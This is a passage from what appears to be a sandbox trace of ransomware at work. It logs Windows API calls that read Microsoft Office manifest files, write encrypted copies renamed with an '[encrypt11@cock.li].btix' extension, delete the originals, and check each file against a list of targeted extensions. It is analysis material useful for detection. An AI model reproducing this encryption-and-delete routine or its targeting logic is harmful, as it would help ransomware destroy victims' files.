dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0049.067] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=1261) returned 1 [0049.067] CloseHandle (hObject=0x398) returned 1 [0049.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0049.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0049.067] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.067] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0049.068] GetLastError () returned 0x0 [0049.068] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0049.247] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0049.248] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0049.248] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x13e, lpOverlapped=0x0) returned 1 [0049.248] SetEndOfFile (hFile=0x350) returned 1 [0049.248] CloseHandle (hObject=0x350) returned 1 [0049.249] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.249] SetEndOfFile (hFile=0x398) returned 1 [0049.249] CloseHandle (hObject=0x398) returned 1 [0049.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0049.250] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 1 [0049.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0049.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0049.250] lstrlenW (lpString=".doc") returned 4 [0049.250] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.250] lstrlenW (lpString=".docx") returned 5 [0049.250] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.250] lstrlenW (lpString=".pdf") returned 4 [0049.250] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.250] lstrlenW (lpString=".xls") returned 4 [0049.250] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.250] lstrlenW (lpString=".xlsx") returned 5 [0049.250] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.250] lstrlenW (lpString=".ppt") returned 4 [0049.250] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0049.250] lstrlenW (lpString=".zip") returned 4 [0049.250] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.250] lstrlenW (lpString=".rar") returned 4 [0049.250] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.250] lstrlenW (lpString=".bz2") returned 4 [0049.251] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.251] lstrlenW (lpString=".7z") returned 3 [0049.251] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0049.251] lstrlenW (lpString=".dbf") returned 4 [0049.251] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0049.251] lstrlenW (lpString=".1cd") returned 4 [0049.251] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0049.251] lstrlenW (lpString=".jpg") returned 4 [0049.251] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0049.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0049.251] lstrlenW (lpString=".doc") returned 4 [0049.251] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.251] lstrlenW (lpString=".docx") returned 5 [0049.251] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.251] lstrlenW (lpString=".pdf") returned 4 [0049.251] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.251] lstrlenW (lpString=".xls") returned 4 [0049.251] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.251] lstrlenW (lpString=".xlsx") returned 5 [0049.251] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.251] lstrlenW (lpString=".ppt") returned 4 [0049.251] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0049.251] lstrlenW (lpString=".zip") returned 4 [0049.251] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.251] lstrlenW (lpString=".rar") returned 4 [0049.251] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.251] lstrlenW (lpString=".bz2") returned 4 [0049.251] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.251] lstrlenW (lpString=".7z") returned 3 [0049.251] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0049.252] lstrlenW (lpString=".dbf") returned 4 [0049.252] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0049.252] lstrlenW (lpString=".1cd") returned 4 [0049.252] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0049.252] lstrlenW (lpString=".jpg") returned 4 [0049.252] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.252] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0049.252] lstrlenW (lpString="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 53 [0049.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0049.252] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=1261) returned 1 [0049.252] CloseHandle (hObject=0x398) returned 1 [0049.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 0x220 [0049.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0049.253] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.253] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0049.253] GetLastError () returned 0x0 [0049.253] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0049.272] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0049.272] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0049.273] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x13e, lpOverlapped=0x0) returned 1 [0049.273] SetEndOfFile (hFile=0x350) returned 1 [0049.273] CloseHandle (hObject=0x350) returned 1 [0049.273] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.273] SetEndOfFile (hFile=0x398) returned 1 [0049.274] CloseHandle (hObject=0x398) returned 1 [0049.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0049.274] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 1 [0049.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0049.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0049.275] lstrlenW (lpString=".doc") returned 4 [0049.275] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.275] lstrlenW (lpString=".docx") returned 5 [0049.275] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.275] lstrlenW (lpString=".pdf") returned 4 [0049.275] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.275] lstrlenW (lpString=".xls") returned 4 [0049.275] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.275] lstrlenW (lpString=".xlsx") returned 5 [0049.275] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.275] lstrlenW (lpString=".ppt") returned 4 [0049.275] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0049.275] lstrlenW (lpString=".zip") returned 4 [0049.275] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.275] lstrlenW (lpString=".rar") returned 4 [0049.275] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.275] lstrlenW (lpString=".bz2") returned 4 [0049.275] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.275] lstrlenW (lpString=".7z") returned 3 [0049.275] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0049.275] lstrlenW (lpString=".dbf") returned 4 [0049.275] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0049.275] lstrlenW (lpString=".1cd") returned 4 [0049.275] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0049.275] lstrlenW (lpString=".jpg") returned 4 [0049.275] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0049.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0049.276] lstrlenW (lpString=".doc") returned 4 [0049.276] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.276] lstrlenW (lpString=".docx") returned 5 [0049.276] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.276] lstrlenW (lpString=".pdf") returned 4 [0049.276] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.276] lstrlenW (lpString=".xls") returned 4 [0049.276] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.276] lstrlenW (lpString=".xlsx") returned 5 [0049.276] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.276] lstrlenW (lpString=".ppt") returned 4 [0049.276] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0049.276] lstrlenW (lpString=".zip") returned 4 [0049.276] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.276] lstrlenW (lpString=".rar") returned 4 [0049.276] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.276] lstrlenW (lpString=".bz2") returned 4 [0049.276] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.276] lstrlenW (lpString=".7z") returned 3 [0049.276] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0049.276] lstrlenW (lpString=".dbf") returned 4 [0049.276] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0049.276] lstrlenW (lpString=".1cd") returned 4 [0049.276] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0049.276] lstrlenW (lpString=".jpg") returned 4 [0049.276] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.277] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0049.277] lstrlenW (lpString="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 53 [0049.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0049.277] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=2147) returned 1 [0049.277] CloseHandle (hObject=0x398) returned 1 [0049.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 0x220 [0049.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0049.277] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.277] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0049.278] GetLastError () returned 0x0 [0049.278] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x863, lpOverlapped=0x0) returned 1 [0049.387] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x870, lpOverlapped=0x0) returned 1 [0049.388] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0049.388] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x13e, lpOverlapped=0x0) returned 1 [0049.388] SetEndOfFile (hFile=0x350) returned 1 [0049.388] CloseHandle (hObject=0x350) returned 1 [0049.389] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.389] SetEndOfFile (hFile=0x398) returned 1 [0049.390] CloseHandle (hObject=0x398) returned 1 [0049.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0049.391] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 1 [0049.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0049.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0049.391] lstrlenW (lpString=".doc") returned 4 [0049.391] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.391] lstrlenW (lpString=".docx") returned 5 [0049.391] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.391] lstrlenW (lpString=".pdf") returned 4 [0049.391] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.391] lstrlenW (lpString=".xls") returned 4 [0049.391] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.391] lstrlenW (lpString=".xlsx") returned 5 [0049.391] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.391] lstrlenW (lpString=".ppt") returned 4 [0049.391] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0049.391] lstrlenW (lpString=".zip") returned 4 [0049.392] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.392] lstrlenW (lpString=".rar") returned 4 [0049.392] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.392] lstrlenW (lpString=".bz2") returned 4 [0049.392] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.392] lstrlenW (lpString=".7z") returned 3 [0049.392] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0049.392] lstrlenW (lpString=".dbf") returned 4 [0049.392] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0049.392] lstrlenW (lpString=".1cd") returned 4 [0049.392] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0049.392] lstrlenW (lpString=".jpg") returned 4 [0049.392] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0049.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0049.392] lstrlenW (lpString=".doc") returned 4 [0049.392] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.392] lstrlenW (lpString=".docx") returned 5 [0049.392] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.392] lstrlenW (lpString=".pdf") returned 4 [0049.392] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.392] lstrlenW (lpString=".xls") returned 4 [0049.393] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.393] lstrlenW (lpString=".xlsx") returned 5 [0049.393] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.393] lstrlenW (lpString=".ppt") returned 4 [0049.393] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0049.393] lstrlenW (lpString=".zip") returned 4 [0049.393] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.393] lstrlenW (lpString=".rar") returned 4 [0049.393] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.393] lstrlenW (lpString=".bz2") returned 4 [0049.393] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.393] lstrlenW (lpString=".7z") returned 3 [0049.393] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0049.393] lstrlenW 